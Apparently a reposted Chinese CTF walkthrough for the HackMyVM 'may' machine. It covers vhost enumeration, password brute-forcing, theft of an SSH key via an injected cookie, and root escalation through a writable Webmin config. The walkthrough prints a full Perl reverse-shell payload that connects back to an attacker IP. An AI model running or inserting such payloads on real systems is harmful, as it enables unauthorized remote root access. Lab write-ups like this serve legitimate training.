当前位置:网站首页>hackmyvm: may walkthrough
hackmyvm: may walkthrough
2022-08-02 03:25:00 【xdeclearn】
hackmyvm: may walkthrough
信息收集

访问80,会跳转到域名may.hmv访问,这里需添加hosts访问。
得到了一个用户明marie。
爆破目录未果,于是爆破vhost。
找到两个vhost,portal和ssh。添加hosts后访问portal.may.hmv。这个一个登录页面,会验证用户名和密码,尝试注入失败后,利用前面得到的用户名尝试爆破密码。
得到密码rebelde并成功获取到了cookie,将这个cookie注入到http://ssh.may.hmv/check.php的请求中去,成功获取marie用户的私钥。
获取user flag
将私钥保存,并设置为只可当前用户读写,ssh登录marie。

获取root flag
查看root用户进程,发现了如下进程。
查看miniserv.conf文件权限,发现marie可以直接编辑,于是在home目录下创建一个failed.pl替换掉默认的。


在failed.pl中加入了反弹shell代码。
[email protected]:~$ cat failed.pl
#!/usr/bin/perl
use Socket;$i="192.168.143.135";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};
open(CONF, "</etc/webmin/miniserv.conf") || die "Failed to open /etc/webmin/miniserv.conf : $!";
while(<CONF>) {
$root = $1 if (/^root=(.*)/);
}
close(CONF);
$root || die "No root= line found in /etc/webmin/miniserv.conf";
$ENV{
'PERLLIB'} = "$root";
$ENV{
'WEBMIN_CONFIG'} = "/etc/webmin";
$ENV{
'WEBMIN_VAR'} = "/var/webmin";
delete($ENV{
'MINISERV_CONFIG'});
chdir("$root");
exec("$root/record-failed.pl", @ARGV) || die "Failed to run $root/record-failed.pl : $!";
利用sudo重启虚拟机(marie可以无密码执行sudo reboot)。重启后随便webmin登录一个错误账号就可以反弹root。
边栏推荐
- 查询数据库中所有表的索引,并且解析成sql
- New usage of string variable parsing in PHP8.2
- 阿里云服务器如何使用admin账户登录
- PHP有哪些杀手级超厉害框架或库或应用?
- 如何计算地球上两点的距离(附公式推导)
- 3. PHP data types, constants, strings and operators
- (6) 学生信息管理系统设计
- js __proto__、prototype、constructor的关系
- ES6三点运算符、数组方法、字符串扩展方法
- TypeScript error error TS2469, error TS2731 solution
猜你喜欢
随机推荐
1.11今日学习
攻防世界—MISC 新手区1-12
[symfony/mailer] An elegant and easy-to-use mail library
[phpunit/php-timer]一个用于代码执行时间的计时器
Several interesting ways to open PHP: from basic to perverted
17. JS conditional statements and loops, and data type conversion
Dom实现input的焦点触发
(3)Thinkphp6数据库
[symfony/finder]最好用的文件操作库
[league/climate] A robust command-line function manipulation library
第一次手撕代码,如何解出全排列问题
SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
(6) 学生信息管理系统设计
(3) Thinkphp6 database
解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址
1. Beginning with PHP
批量替换文件字体,简体-&gt;繁体
[vite] Failed to parse source for import analysis because the content contains invalid JS syntax.
PHP8.2中字符串变量解析的新用法
js 原型和原型链
![[league/climate] A robust command-line function manipulation library](/img/ce/39114b1c74af649223db97e5b0e29c.png)








![[sebastian/diff]一个比较两段文本的历史变化扩展库](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)